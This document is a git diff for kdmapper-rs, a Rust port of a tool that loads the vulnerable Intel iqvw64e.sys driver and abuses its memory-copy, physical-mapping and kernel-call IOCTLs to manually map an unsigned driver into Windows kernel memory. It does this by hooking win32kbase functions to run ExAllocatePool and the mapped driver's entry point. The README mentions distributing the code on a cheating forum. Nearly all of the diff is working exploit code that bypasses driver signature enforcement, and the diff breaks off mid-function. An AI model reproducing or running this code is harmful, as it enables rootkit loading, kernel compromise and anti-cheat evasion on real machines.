diff --git a/.gitignore b/.gitignore index ea8c4bf..46f002b 100644 --- a/.gitignore +++ b/.gitignore @@ -1 +1,2 @@ /target +/src/mapper/driver.sys \ No newline at end of file diff --git a/Cargo.toml b/Cargo.toml index 4526290..6882f27 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -16,4 +16,6 @@ winapi = { version = "0.3", features = [ "winsvc", "libloaderapi", "ioapiset", + "fileapi", + "dbghelp", ] } diff --git a/README.md b/README.md index 1656512..365fd46 100644 --- a/README.md +++ b/README.md @@ -1,8 +1,14 @@ # kdmapper-rs Rust port of the popular kdmapper to manually map unloaded drivers in kernel-memory utilizing the vulnerable intel driver +# where is the driver? +I am 100% you have the driver somewhere, considering the fact it is a binary, I couldn't release the source to UC or any other site +if the repo contained binaries. So I removed it for that purpose. Note: It's location should be in `src/mapper/` with the name `driver.sys` + # warning -Currently still very much in development, I cannot guarantee ANY of this code will work. Good luck :) +Currently still very much in development, it runs on Windows 20H2 succesfully + +!image_info[](img/fn.png) # how to compile ``` diff --git a/img/fn.png b/img/fn.png new file mode 100644 index 0000000..08084e0 Binary files /dev/null and b/img/fn.png differ diff --git a/src/main.rs b/src/main.rs index b62fe5f..88ec249 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1,11 +1,52 @@ +use winapi::{um::{errhandlingapi::GetLastError, handleapi::INVALID_HANDLE_VALUE}}; + #[cfg(not(windows))] compile_error!("Can't compile, this is exclusive to Windows."); -pub mod util; +pub mod mapper; pub mod nt; -pub mod service; pub mod pe; +pub mod service; +pub mod util; fn main() { - println!("Hello, world!"); + let service = mapper::load_service("iqvw64e.sys"); + + if service.is_null() || service == INVALID_HANDLE_VALUE { + unsafe { + println!( + "Failed to create a handle to the service! Last error code: {}", + GetLastError() + ); + } + panic!("See logs for panic!") + } + + if mapper::load_image_into_kernel( + service, + "C:\\Users\\Zor\\source\\repos\\TestDriver\\x64\\Release\\TestDriver.sys".to_string(), + ) == 0 + { + unsafe { + println!( + "Failed to load image into kernel! Last error code: {}", + GetLastError() + ); + } + panic!("See logs for panic!") + } + + println!("Loaded image into kernel!"); + + if !mapper::unload_service(service, "iqvw64e.sys\0") { + unsafe { + println!( + "Failed to unload service! Last error code: {}", + GetLastError() + ); + } + panic!("See logs for panic!") + } + + println!("Unloaded service!"); } diff --git a/src/mapper/mod.rs b/src/mapper/mod.rs new file mode 100644 index 0000000..9928d06 --- /dev/null +++ b/src/mapper/mod.rs @@ -0,0 +1,305 @@ +use core::panic; +use std::{intrinsics::transmute}; + +use winapi::{ + shared::{ + ntdef::NTSTATUS, + }, + um::{ + errhandlingapi::GetLastError, + fileapi::{CreateFileA, OPEN_EXISTING}, + handleapi::CloseHandle, + memoryapi::{VirtualAlloc, VirtualFree}, + winnt::{ + FILE_ATTRIBUTE_NORMAL, GENERIC_READ, GENERIC_WRITE, HANDLE, IMAGE_NT_HEADERS, IMAGE_NT_OPTIONAL_HDR64_MAGIC, + IMAGE_REL_BASED_DIR64, MEM_COMMIT, MEM_RELEASE, MEM_RESERVE, PAGE_READWRITE, PIMAGE_SECTION_HEADER, + }, + }, +}; + +use crate::{pe, service, util}; + +pub fn load_service(name: &str) -> HANDLE { + unsafe { + let temp_path = util::get_temporary_folder_path(); + + let mut driver_path = temp_path.as_os_str().to_os_string(); + driver_path.push(name); + + // export driver from buffer + if !util::create_driver_file(&driver_path.to_str().expect("Couldn't conver to Rust str!").to_string()) { + println!( + "Failed to create service file... return code: {}", + GetLastError() + ); + panic!("See last output for more info."); + } + + if !util::create_and_start_service(&driver_path.to_str().expect("Couldn't conver to Rust str!").to_string()) { + println!( + "Failed to create or start service... return code: {}", + GetLastError() + ); + panic!("See last output for more info."); + } + + let res = CreateFileA( + "\\\\.\\Nal\0".as_ptr() as _, + GENERIC_READ | GENERIC_WRITE, + 0, + std::ptr::null_mut(), + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, + std::ptr::null_mut(), + ); + + res + } +} + +pub fn unload_service(service: HANDLE, name: &str) -> bool { + unsafe { + CloseHandle(service); + util::delete_and_stop_service(name); + + let path_to_driver = util::get_path_to_driver(); + + match std::fs::remove_file(path_to_driver) { + Ok(_) => (), + Err(e) => println!("Failed to delete driver after unloading... {}", e), + } + + true + } +} + +pub fn relocate_image_by_delta(relocations: Vec, delta: u64) { + relocations.iter().for_each(|relocation| { + for i in 0..relocation.count { + let _type = unsafe { relocation.item.offset(i as isize).read() } >> 12; + let offset = unsafe { relocation.item.offset(i as isize).read() } & 0xFFF; + + if _type == IMAGE_REL_BASED_DIR64 { + unsafe { + *((relocation.address + offset as u64) as *mut u64) += delta; + }; + } + } + }) +} + +pub fn resolve_imports(service: HANDLE, mut imports: Vec) -> bool { + unsafe { + imports.iter_mut().for_each(|import_info| { + let current_import_address = + util::get_kernel_module_address(import_info.name.to_owned()); + + if current_import_address == 0 { + println!( + "Required module {} was not found! Last error code: {}", + import_info.name, + GetLastError() + ); + panic!("See last logs for panic!"); + } + + // import_info.function_info.iter_mut().for_each(|function_info| { + // let function_address = util::get_kernel_module_export(service, current_import_address as _, &function_info.name); + + // if function_address == 0 { + // println!("Failed to resolve import {} from {}! Last error code: {}", function_info.name, import_info.name, GetLastError()); + // panic!("See last logs for panic!"); + // } + + // function_info.address = function_address as _; + // }) + // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ lol! + + for function_info in &mut import_info.function_info { + let function_address = util::get_kernel_module_export( + service, + current_import_address as _, + &function_info.name, + ); + + if function_address == 0 { + println!( + "Failed to resolve import {} from {}! Last error code: {}", + function_info.name, + import_info.name, + GetLastError() + ); + panic!("See last logs for panic!"); + } + + function_info.get_address().write(function_address); + } + }); + } + true +} + +pub fn image_first_section(header: *mut IMAGE_NT_HEADERS) -> PIMAGE_SECTION_HEADER { + unsafe { + let field_offset = + || (&(*header).OptionalHeader as *const _ as usize - header as usize) as usize; + + ((header as usize + field_offset()) + (*header).FileHeader.SizeOfOptionalHeader as usize) + as PIMAGE_SECTION_HEADER + } +} + +pub fn load_image_into_kernel(service: HANDLE, file: String) -> u64 { + unsafe { + let mut buffer = Vec::new(); + + if !util::read_file_to_memory(&file, &mut buffer) { + println!( + "Failed to read file to memory! Last error code: {}", + GetLastError() + ); + panic!("See last logs for panic!"); + } + + let image_headers = pe::get_nt_headers(buffer.as_mut_ptr()); + + if image_headers.is_null() { + println!("Invalid image headers! Last error code: {}", GetLastError()); + panic!("See last logs for panic!"); + } + + if (*image_headers).OptionalHeader.Magic != IMAGE_NT_OPTIONAL_HDR64_MAGIC { + println!("Driver is not 64-bit! Last error code: {}", GetLastError()); + panic!("See last logs for panic!") + } + + let image_size = (*image_headers).OptionalHeader.SizeOfImage; + + if image_size == 0 { + println!( + "Invalid driver image size! Last error code: {}", + GetLastError() + ); + panic!("See last logs for panic!") + } + + let local_image_memory = VirtualAlloc( + std::ptr::null_mut(), + image_size as _, + MEM_RESERVE | MEM_COMMIT, + PAGE_READWRITE, + ); + + if local_image_memory.is_null() { + println!( + "Failed to allocate local image memory! Last error code: {}", + GetLastError() + ); + panic!("See last logs for panic!") + } + + println!("Local driver memory allocated at: {:p}", local_image_memory); + + std::ptr::copy( + buffer.as_ptr(), + local_image_memory as _, + (*image_headers).OptionalHeader.SizeOfHeaders as usize, + ); + println!("Copied driver headers into local image memory"); + + let current_image_section = image_first_section(image_headers); + + for i in 0..(*image_headers).FileHeader.NumberOfSections { + let local_section = (local_image_memory as usize + + (*current_image_section.offset(i as isize)).VirtualAddress as usize) + as *mut i8; + std::ptr::copy( + (buffer.as_ptr() as usize + + (*current_image_section.offset(i as isize)).PointerToRawData as usize) + as *const i8, + local_section, + (*current_image_section.offset(i as isize)).SizeOfRawData as usize, + ) + } + + println!("Copied image sections into local image memory."); + + let kernel_image_memory = service::allocate_pool(service, 0, image_size as _); + + if kernel_image_memory == 0 { + println!( + "Failed to allocate kernel image memory! Last error code: {}", + GetLastError() + ); + panic!("See last logs for panic!") + } + + println!( + "Kernel image memory allocated at {:p}", + kernel_image_memory as *mut i8 + ); + + relocate_image_by_delta( + pe::get_relocations(local_image_memory as _).expect("Couldn't get relocations"), + kernel_image_memory - (*image_headers).OptionalHeader.ImageBase, + ); + + let imports = pe::get_imports(local_image_memory as _).expect("Couldn't get imports!"); + + if !resolve_imports(service, imports) { + println!( + "Failed to _resolve_ imports! Last error code: {}", + GetLastError() + ); + panic!("See last logs for panic!") + } + + if !service::write_memory( + service, + kernel_image_memory, + local_image_memory as _, + image_size as _, + ) { + println!( + "Failed to write local image to kernel image! Last error code: {}", + GetLastError() + ); + panic!("See last logs for panic!"); + } + + VirtualFree(local_image_memory, 0, MEM_RELEASE); + + let entry_point = + kernel_image_memory + (*image_headers).OptionalHeader.AddressOfEntryPoint as u64; + println!( + "Calling image entry point at {:p}", + entry_point as *const i8 + ); + + let mut status: NTSTATUS = 0; + + if !util::call_kernel_fn( + service, + &mut |entry_point_address| { + status = transmute::<*mut usize, unsafe extern "system" fn() -> NTSTATUS>( + entry_point_address, + )(); + true + }, + entry_point, + ) { + println!( + "Failed to call image entry point! Last error code: {}", + GetLastError() + ); + } + + service::set_memory( + service, + kernel_image_memory, + 0, + (*image_headers).OptionalHeader.SizeOfHeaders as _, + ); + return kernel_image_memory; + } +} diff --git a/src/nt/mod.rs b/src/nt/mod.rs index 5b95bdb..a7c24a6 100644 --- a/src/nt/mod.rs +++ b/src/nt/mod.rs @@ -1,6 +1,13 @@ use std::intrinsics::transmute; -use winapi::{shared::{minwindef::{FARPROC, ULONG}, ntdef::{HANDLE, NTSTATUS, PVOID, UCHAR, USHORT}}, um::libloaderapi::{GetModuleHandleA, GetProcAddress, LoadLibraryA}}; +use winapi::{ + ctypes::c_void, + shared::{ + minwindef::{DWORD, FARPROC, ULONG}, + ntdef::{HANDLE, NTSTATUS, PULONG, PVOID, UCHAR, USHORT}, + }, + um::libloaderapi::{GetModuleHandleA, GetProcAddress, LoadLibraryA}, +}; #[repr(C)] pub struct RtlProcessModuleInformation { @@ -9,7 +16,7 @@ pub struct RtlProcessModuleInformation { pub image_base: PVOID, pub image_size: ULONG, pub flags: ULONG, - pub load_order_index: USHORT, + pub load_order_index: USHORT, pub init_order_index: USHORT, pub load_count: USHORT, pub offset_to_file_name: USHORT, @@ -24,11 +31,20 @@ pub struct RtlProcessModules { pub const STATUS_INFO_LENGHT_MISMATCH: u32 = 0xC0000004; -pub fn query_system_information(buffer: &mut usize, size: &mut u64) -> NTSTATUS { - let mut nt = unsafe { GetModuleHandleA("ntdll.dll".as_ptr() as *const i8) }; +pub struct QuerySystemInformationReturnValue { + pub buffer: *mut c_void, + pub buffer_size: DWORD, + pub result: NTSTATUS, +} + +pub fn query_system_information( + buffer: *mut c_void, + out_buffer_size: &mut DWORD, +) -> QuerySystemInformationReturnValue { + let mut nt = unsafe { GetModuleHandleA("ntdll.dll\0".as_ptr() as _) }; if nt.is_null() { - nt = unsafe { LoadLibraryA("ntdll.dll".as_ptr() as *const i8) }; + nt = unsafe { LoadLibraryA("ntdll.dll\0".as_ptr() as _) }; if nt.is_null() { panic!("Couldn't get handle to NTDLL.dll"); @@ -36,17 +52,26 @@ pub fn query_system_information(buffer: &mut usize, size: &mut u64) -> NTSTATUS } let query_system_info_address = - unsafe { GetProcAddress(nt, "NtQuerySystemInformation".as_ptr() as *const i8) }; + unsafe { GetProcAddress(nt, "NtQuerySystemInformation\0".as_ptr() as *const i8) }; if query_system_info_address.is_null() { panic!("Couldn't find NtQuerySystemInformation"); } let query_system_info = unsafe { - transmute:: NTSTATUS>( + transmute:: NTSTATUS>( query_system_info_address, ) }; - unsafe { query_system_info(11, buffer as _, *size, size) } + let mut buffer_size: DWORD = *out_buffer_size; + + let result = unsafe { query_system_info(11, buffer, buffer_size, &mut buffer_size as *mut _) }; + *out_buffer_size = buffer_size; + + QuerySystemInformationReturnValue { + buffer, + buffer_size, + result, + } } diff --git a/src/pe/mod.rs b/src/pe/mod.rs index 6842b21..3321712 100644 --- a/src/pe/mod.rs +++ b/src/pe/mod.rs @@ -8,26 +8,26 @@ use winapi::um::winnt::{ #[derive(Default)] pub struct FunctionImportInfo { - name: String, - address: usize, // NOTE: apparently a pointer to an adress (so void*) + pub name: String, + pub address: usize, // NOTE: apparently a pointer to an adress (so void*) } impl FunctionImportInfo { - pub fn get_address(&self) -> *const u64 { + pub fn get_address(&self) -> *mut u64 { self.address as _ } } pub struct RelocationInfo { - address: u64, - item: *const u16, - count: i32, + pub address: u64, + pub item: *const u16, + pub count: i32, } #[derive(Default)] pub struct ImportInfo { - name: String, - function_info: Vec, + pub name: String, + pub function_info: Vec, } pub fn get_nt_headers(base: *mut u8) -> PIMAGE_NT_HEADERS64 { @@ -117,66 +117,67 @@ pub fn get_imports(base: *mut u8) -> Option> { return None; } - let mut result = vec![]; + unsafe { + let import_va = (*nt_headers).OptionalHeader.DataDirectory + [IMAGE_DIRECTORY_ENTRY_IMPORT as usize] + .VirtualAddress; - let mut current_import_descriptor = unsafe { - transmute::( - base as usize - + (*nt_headers).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT as usize] - .VirtualAddress as usize, - ) - }; - - while unsafe { (*current_import_descriptor).FirstThunk } != 0 { - let mut info = ImportInfo::default(); - - info.name = unsafe { - CStr::from_ptr(transmute::( - base as usize + (*current_import_descriptor).Name as usize, - )) - .to_str() - .unwrap_or_default() - .to_string() - }; - let mut current_first_thunk = unsafe { - transmute::( - base as usize + (*current_import_descriptor).FirstThunk as usize, - ) - }; - let mut current_original_first_thunks = unsafe { - transmute::( - base as usize + *(*current_import_descriptor).u.OriginalFirstThunk() as usize, - ) - }; - - while unsafe { *(*current_original_first_thunks).u1.Function() != 0 } { - - let mut function_info: FunctionImportInfo = FunctionImportInfo::default(); - - let thunk_data = unsafe { - transmute::( - base as usize + *(*current_original_first_thunks).u1.AddressOfData() as usize, - ) - }; - - function_info.name = unsafe { - CStr::from_ptr((*thunk_data).Name.as_ptr()) - .to_str() - .unwrap_or_default() - .to_string() - }; - - function_info.address = unsafe { &*(*current_first_thunk).u1.Function() } as *const _ as usize; - - info.function_info.push(function_info); - - current_first_thunk = unsafe { current_first_thunk.offset(1) }; - current_original_first_thunks = unsafe { current_first_thunk.offset(1) }; + if import_va == 0 { + return None; } - result.push(info); - current_import_descriptor = unsafe { current_import_descriptor.offset(1) }; - } + let mut vec_imports = Vec::new(); - Some(result) + let mut current_import_descriptor = + (base as usize + import_va as usize) as PIMAGE_IMPORT_DESCRIPTOR; + + while (*current_import_descriptor).FirstThunk != 0 { + let mut import_info = ImportInfo::default(); + + import_info.name = CStr::from_ptr( + (base as usize + (*current_import_descriptor).Name as usize) as *const i8, + ) + .to_str() + .expect("Couldn't convert to str") + .to_string(); + + let mut current_first_thunk = (base as usize + + (*current_import_descriptor).FirstThunk as usize) + as PIMAGE_THUNK_DATA64; + let mut current_original_first_thunk = (base as usize + + *(*current_import_descriptor).u.OriginalFirstThunk() as usize) + as PIMAGE_THUNK_DATA64; + + while (*(*current_original_first_thunk).u1.Function()) != 0 { + let mut import_function_data = FunctionImportInfo::default(); + + let thunk_data = (base as usize + + *(*current_original_first_thunk).u1.AddressOfData() as usize) + as PIMAGE_IMPORT_BY_NAME; + + import_function_data.name = CStr::from_ptr((*thunk_data).Name.as_ptr()) + .to_str() + .expect("couldn't convert to str") + .to_string(); + import_function_data.address = + (*current_first_thunk).u1.Function_mut() as *mut u64 as usize; + + import_info.function_info.push(import_function_data); + + current_original_first_thunk = (current_original_first_thunk as usize + + std::mem::size_of::()) + as PIMAGE_THUNK_DATA64; + current_first_thunk = (current_first_thunk as usize + + std::mem::size_of::()) + as PIMAGE_THUNK_DATA64; + } + + vec_imports.push(import_info); + current_import_descriptor = (current_import_descriptor as usize + + std::mem::size_of::()) + as PIMAGE_IMPORT_DESCRIPTOR; + } + + Some(vec_imports) + } } diff --git a/src/service/mod.rs b/src/service/mod.rs index 8323f32..79ed73d 100644 --- a/src/service/mod.rs +++ b/src/service/mod.rs @@ -3,7 +3,7 @@ use std::intrinsics::transmute; use winapi::{ ctypes::c_void, - shared::minwindef::DWORD, + shared::{basetsd::SIZE_T, minwindef::DWORD}, um::{ioapiset::DeviceIoControl, winnt::HANDLE}, }; @@ -68,7 +68,7 @@ pub fn copy_memory(service: HANDLE, destination: u64, source: u64, size: u64) -> return false; } - let mut buffer = CopyMemoryBufferInfo::default(); + let mut buffer: CopyMemoryBufferInfo = unsafe { core::mem::zeroed() }; buffer.case_number = 0x33; buffer.source = source; buffer.destination = destination; @@ -206,16 +206,20 @@ pub fn unmap_io_space(service: HANDLE, address: u64, size: u32) -> bool { } } -pub fn read_memory(service: HANDLE, address: u64, buffer: *mut usize, size: u64) -> bool { - copy_memory(service, buffer as _, address, size) +pub fn read_memory(service: HANDLE, address: u64, buffer: u64, size: u64) -> bool { + copy_memory(service, buffer, address, size) } -pub fn write_memory(service: HANDLE, address: u64, buffer: *mut usize, size: u64) -> bool { - copy_memory(service, address, buffer as _, size) +pub fn write_memory(service: HANDLE, address: u64, buffer: u64, size: u64) -> bool { + copy_memory(service, address, buffer, size) } -pub fn force_write_memory(service: HANDLE, address: u64, buffer: *mut usize, size: u32) -> bool { - if address == 0 || buffer.is_null() || size == 0 { +pub fn force_write_memory(service: HANDLE, address: u64, buffer: u64, size: u32) -> bool { + if address == 0 || buffer == 0 || size == 0 { + println!( + "requirements not met! {:x} -> {:x} -> {:x}", + address, buffer, size + ); return false; } @@ -223,7 +227,7 @@ pub fn force_write_memory(service: HANDLE, address: u64, buffer: *mut usize, siz if !get_physical_address(service, address, &mut physical_address) { panic!("Failed to translate virtual address!"); - } + }; let mapped_physical_mem = map_io_space(service, physical_address, size); @@ -242,7 +246,7 @@ pub fn force_write_memory(service: HANDLE, address: u64, buffer: *mut usize, siz type ExAllocatePoolFn = unsafe extern "system" fn(i32, usize) -> *mut usize; -pub fn allocate_pool(service: HANDLE, pool_type: i32, size: u64) -> u64 { +pub fn allocate_pool(service: HANDLE, pool_type: i32, size: SIZE_T) -> u64 { if size == 0 { return 0; } @@ -251,11 +255,10 @@ pub fn allocate_pool(service: HANDLE, pool_type: i32, size: u64) -> u64 { unsafe { if KERNEL_EX_ALLOCATE_POOL == 0 { - KERNEL_EX_ALLOCATE_POOL = get_kernel_module_export( - service, - get_kernel_module_address("ntoskrnl.exe") as _, - "ExAllocatePool", - ); + let base = get_kernel_module_address("ntoskrnl.exe".to_string()); + + KERNEL_EX_ALLOCATE_POOL = + get_kernel_module_export(service, base as _, "ExAllocatePool"); } let mut allocated_pool: u64 = 0; @@ -265,14 +268,15 @@ pub fn allocate_pool(service: HANDLE, pool_type: i32, size: u64) -> u64 { &mut |address| { allocated_pool = (transmute::<*mut usize, ExAllocatePoolFn>(address))(pool_type, size as _) as _; - true }, KERNEL_EX_ALLOCATE_POOL, ) { + println!("call kernel fn failed!"); return 0; } + println!("Allocated pool: {:x}", allocated_pool); allocated_pool } } @@ -290,7 +294,7 @@ pub fn free_pool(service: HANDLE, addy: u64) -> bool { if KERNEL_EX_FREE_POOL == 0 { KERNEL_EX_FREE_POOL = get_kernel_module_export( service, - get_kernel_module_address("ntoskrnl.exe") as _, + get_kernel_module_address("ntoskrnl.exe".to_string()) as _, "ExFreePool", ); } diff --git a/src/util/mod.rs b/src/util/mod.rs index d1a720f..e72b722 100644 --- a/src/util/mod.rs +++ b/src/util/mod.rs @@ -1,12 +1,18 @@ use core::panic; use std::{ - ffi::{CStr, CString}, + ffi::CStr, io::{Read, Write}, + path::{Path, PathBuf}, }; use winapi::{ - shared::ntdef::NT_SUCCESS, + ctypes::c_void, + shared::{ + minwindef::DWORD, + ntdef::{NT_SUCCESS, ULONG}, + }, um::{ + errhandlingapi::SetLastError, libloaderapi::{GetProcAddress, LoadLibraryA}, memoryapi::{VirtualAlloc, VirtualFree}, winnt::{ @@ -23,31 +29,37 @@ use winapi::{ }, }; +pub static DRIVER_NAME: &str = "iqvw64e.sys\0"; + use crate::{ - nt, + nt::{self, RtlProcessModuleInformation}, service::{self, force_write_memory, read_memory}, util, }; -pub fn create_file_from_memory(file: &str, address: usize, size: usize) -> bool { - let mut file = std::fs::File::create(file).expect("Couldn't create/open file!"); +pub fn get_temporary_folder_path() -> PathBuf { + std::env::temp_dir() +} - let mut data = vec![0u8; size]; // spawn a buffer size of the memory - unsafe { - std::ptr::copy( - address as *const i8, - data.as_mut_ptr() as *mut _, - data.len(), - ) - }; +pub fn get_path_to_driver() -> PathBuf { + let mut path = get_temporary_folder_path(); + path.push(DRIVER_NAME.strip_suffix('\0').unwrap()); - file.write_all(data.as_slice()) - .expect("Couldn't write file"); + path +} + +pub fn create_driver_file(file: &String) -> bool { + let mut file = std::fs::File::create(Path::new(file)).expect("Couldn't create/open file!"); + + // Thank god for this macro! + let driver = include_bytes!("../mapper/driver.sys"); + + file.write_all(driver).expect("Couldn't write file"); true } -pub fn read_file_from_memory(file: &str, buffer: &mut Vec) -> bool { +pub fn read_file_to_memory(file: &String, buffer: &mut Vec) -> bool { let mut file = std::fs::File::open(file).expect("Couldn't open file"); file.read_to_end(buffer).expect("Couldn't read file"); @@ -55,15 +67,19 @@ pub fn read_file_from_memory(file: &str, buffer: &mut Vec) -> bool { true } -pub fn create_and_start_service(file: &str) -> bool { - let filename = CString::new( - std::path::Path::new(file) - .file_name() - .expect("Couldn't get filname") - .to_str() - .expect("Couldn't convert to str"), - ) - .expect("Couldn't convert to CString"); +pub fn create_and_start_service(file: &String) -> bool { + let mut filename = std::path::Path::new(file) + .file_name() + .expect("Couldn't get filname") + .to_str() + .expect("Couldn't convert to str") + .to_string(); + filename.push('\0'); + + println!("File name: {}", filename); + + let mut actual_file_path = file.to_owned(); + actual_file_path.push('\0'); let manager = unsafe { OpenSCManagerA( @@ -80,13 +96,13 @@ pub fn create_and_start_service(file: &str) -> bool { let mut service = unsafe { CreateServiceA( manager, - filename.as_ptr(), - filename.as_ptr(), + DRIVER_NAME.as_ptr() as _, + DRIVER_NAME.as_ptr() as _, SERVICE_START | SERVICE_STOP | DELETE, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, - file.as_ptr() as *const i8, + actual_file_path.as_ptr() as _, std::ptr::null_mut(), std::ptr::null_mut(), std::ptr::null_mut(), @@ -98,7 +114,7 @@ pub fn create_and_start_service(file: &str) -> bool { if service.is_null() { println!("Unable to create service, attempting to open instead"); - service = unsafe { OpenServiceA(manager, filename.as_ptr(), SERVICE_START) }; + service = unsafe { OpenServiceA(manager, filename.as_ptr() as _, SERVICE_START) }; if service.is_null() { unsafe { CloseServiceHandle(manager) }; @@ -152,14 +168,14 @@ pub fn delete_and_stop_service(name: &str) -> bool { result } -pub fn get_kernel_module_address(name: &str) -> usize { - let mut buffer: usize = 0; - let mut buffer_size = 0u64; +pub fn get_kernel_module_address(name: String) -> u64 { + let mut buffer: *mut c_void = std::ptr::null_mut(); + let mut buffer_size: DWORD = 0; - let mut system_info = nt::query_system_information(&mut buffer, &mut buffer_size); + let mut system_info = nt::query_system_information(buffer, &mut buffer_size); - while system_info as u32 == nt::STATUS_INFO_LENGHT_MISMATCH { - unsafe { VirtualFree(buffer as _, 0, MEM_RELEASE) }; + while system_info.result as u32 == nt::STATUS_INFO_LENGHT_MISMATCH { + unsafe { VirtualFree(buffer, 0, MEM_RELEASE) }; buffer = unsafe { VirtualAlloc( @@ -169,40 +185,56 @@ pub fn get_kernel_module_address(name: &str) -> usize { PAGE_READWRITE, ) } as _; - system_info = nt::query_system_information(&mut buffer, &mut buffer_size); + system_info = nt::query_system_information(buffer, &mut buffer_size); } - if !NT_SUCCESS(system_info) { - unsafe { VirtualFree(buffer as _, 0, MEM_RELEASE) }; - return 0usize; + if !NT_SUCCESS(system_info.result) { + unsafe { VirtualFree(system_info.buffer, 0, MEM_RELEASE) }; + return 0u64; } - let modules: nt::RtlProcessModules = unsafe { (buffer as *mut nt::RtlProcessModules).read() }; + let modules = buffer as *mut nt::RtlProcessModules; - for i in 0..modules.number_of_modules { - let module_name = unsafe { - CStr::from_ptr( - (modules.modules[i as usize].full_path_name.as_ptr() as usize - + modules.modules[i as usize].offset_to_file_name as usize) - as _, - ) - .to_str() - .expect("Couldn't parse name") - .to_string() - }; + unsafe { + for i in 0..(*modules).number_of_modules { + let current_module = (buffer as usize + + std::mem::size_of::() + + i as usize * std::mem::size_of::()) + as *mut RtlProcessModuleInformation; - if module_name.eq(name) { - let result = modules.modules[i as usize].image_base as usize; + let module_name = String::from_utf8( + (*current_module) + .full_path_name + .iter() + .skip(4) + .map(|i| *i as u8) + .take_while(|&i| i as char != char::from(0)) + .collect(), + ); - unsafe { VirtualFree(buffer as _, 0, MEM_RELEASE) }; + if !module_name.is_ok() { + continue; + } - return result; + let actual_name = module_name.unwrap(); + + let image_base_test = + current_module as usize + std::mem::size_of::<*mut c_void>() * 2usize; + + if actual_name.contains(&name) { + let result = ((image_base_test + 4usize) as *mut u64).read(); + VirtualFree(buffer as _, 0, MEM_RELEASE); + + // Due to call earlier we get an invalid address error-code, we can just clear it and ignore it. + SetLastError(0); + + return result; + } } } unsafe { VirtualFree(buffer as _, 0, MEM_RELEASE) }; - - 0usize + 0u64 } pub fn get_kernel_module_export(service: HANDLE, kernel_module_base: u64, fn_name: &str) -> u64 { @@ -219,13 +251,16 @@ pub fn get_kernel_module_export(service: HANDLE, kernel_module_base: u64, fn_nam &mut dos_header as *mut IMAGE_DOS_HEADER as _, std::mem::size_of::() as _, ) || dos_header.e_magic != IMAGE_DOS_SIGNATURE - || !service::read_memory( - service, - kernel_module_base + dos_header.e_lfanew as u64, - &mut nt_header as *mut IMAGE_NT_HEADERS64 as _, - std::mem::size_of::() as _, - ) - || nt_header.Signature != IMAGE_NT_SIGNATURE + { + return 0; + } + + if !service::read_memory( + service, + kernel_module_base + dos_header.e_lfanew as u64, + &mut nt_header as *mut IMAGE_NT_HEADERS64 as _, + std::mem::size_of::() as _, + ) || nt_header.Signature != IMAGE_NT_SIGNATURE { return 0; } @@ -260,17 +295,25 @@ pub fn get_kernel_module_export(service: HANDLE, kernel_module_base: u64, fn_nam let delta = export_data as u64 - export_base as u64; - let name_table = unsafe { ((*export_data).AddressOfNames + delta as u32) as *mut u32 }; + let name_table = unsafe { ((*export_data).AddressOfNames as u64 + delta) as *mut u32 }; let ordinal_table = - unsafe { ((*export_data).AddressOfNameOrdinals + delta as u32) as *mut u16 }; - let function_table = unsafe { ((*export_data).AddressOfFunctions + delta as u32) as *mut u32 }; + unsafe { ((*export_data).AddressOfNameOrdinals as u64 + delta) as *mut u16 }; + let function_table = unsafe { ((*export_data).AddressOfFunctions as u64 + delta) as *mut u32 }; for i in 0..unsafe { (*export_data).NumberOfNames } as isize { - let current_function_name = - unsafe { CStr::from_ptr((name_table.offset(i).read() as u64 + delta) as _) } + // let current_function_name = + // unsafe { CString::from_raw((name_table.offset(i).read() as u64 + delta) as _) } + // .to_str() + // .expect("Couldn't convert to str") + // .to_string(); + let name_ptr = unsafe { name_table.offset(i).read() as u64 + delta } as *mut char; + let current_function_name = unsafe { + CStr::from_ptr(name_ptr as _) + .to_owned() .to_str() - .expect("Couldn't convert to str") - .to_string(); + .unwrap() + .to_string() + }; if current_function_name.eq(fn_name) { let fn_ordinal = unsafe { ordinal_table.offset(i).read() }; @@ -290,7 +333,7 @@ pub fn get_kernel_module_export(service: HANDLE, kernel_module_base: u64, fn_nam } unsafe { VirtualFree(export_data as _, 0, MEM_RELEASE) }; - panic!("Couldn't find export..."); + panic!("Couldn't find export: {}...", fn_name); } pub fn get_nt_gdi_dd_ddl_reclaim_allocations_info( @@ -306,7 +349,7 @@ pub fn get_nt_gdi_dd_ddl_reclaim_allocations_info( if unsafe { KERNEL_FUNCTION_PTR == 0 || KERNEL_ORIGINAL_FUNCTION_ADDRESS == 0 } { let nt_gdi_ddi_reclaim_allocations2 = get_kernel_module_export( service, - util::get_kernel_module_address("win32kbase.sys") as _, + util::get_kernel_module_address("win32kbase.sys".to_string()) as _, "NtGdiDdDDIReclaimAllocations2", ); @@ -321,7 +364,7 @@ pub fn get_nt_gdi_dd_ddl_reclaim_allocations_info( if !read_memory( service, kernel_function_ptr_offset_address, - &mut function_ptr_offset, + &mut function_ptr_offset as *mut _ as u64, std::mem::size_of::() as _, ) { return false; @@ -335,7 +378,7 @@ pub fn get_nt_gdi_dd_ddl_reclaim_allocations_info( !read_memory( service, KERNEL_FUNCTION_PTR, - &mut KERNEL_ORIGINAL_FUNCTION_ADDRESS as *mut u64 as *mut _, + &mut KERNEL_ORIGINAL_FUNCTION_ADDRESS as *mut _ as u64, std::mem::size_of::() as _, ) } { @@ -362,7 +405,7 @@ pub fn get_nt_gdi_get_copp_compatible_opm_information_info( let nt_gdi_get_copp_compatible_opm_information_info = get_kernel_module_export( service, - get_kernel_module_address("win32kbase.sys") as _, + get_kernel_module_address("win32kbase.sys".to_string()) as _, "NtGdiGetCOPPCompatibleOPMInformation", ); @@ -370,17 +413,19 @@ pub fn get_nt_gdi_get_copp_compatible_opm_information_info( println!("Unable to find NtGdiGetCOPPCompatibleOPMInformation"); return false; } - - unsafe { KERNEL_FUNCTION_PTR = nt_gdi_get_copp_compatible_opm_information_info }; + unsafe { + KERNEL_FUNCTION_PTR = nt_gdi_get_copp_compatible_opm_information_info; + } if unsafe { !read_memory( service, KERNEL_FUNCTION_PTR, - KERNEL_ORIGINAL_BYTES.as_mut_ptr() as *mut _, + KERNEL_ORIGINAL_BYTES.as_mut_ptr() as *mut _ as u64, (std::mem::size_of::() * KERNEL_ORIGINAL_BYTES.len() as usize) as _, ) 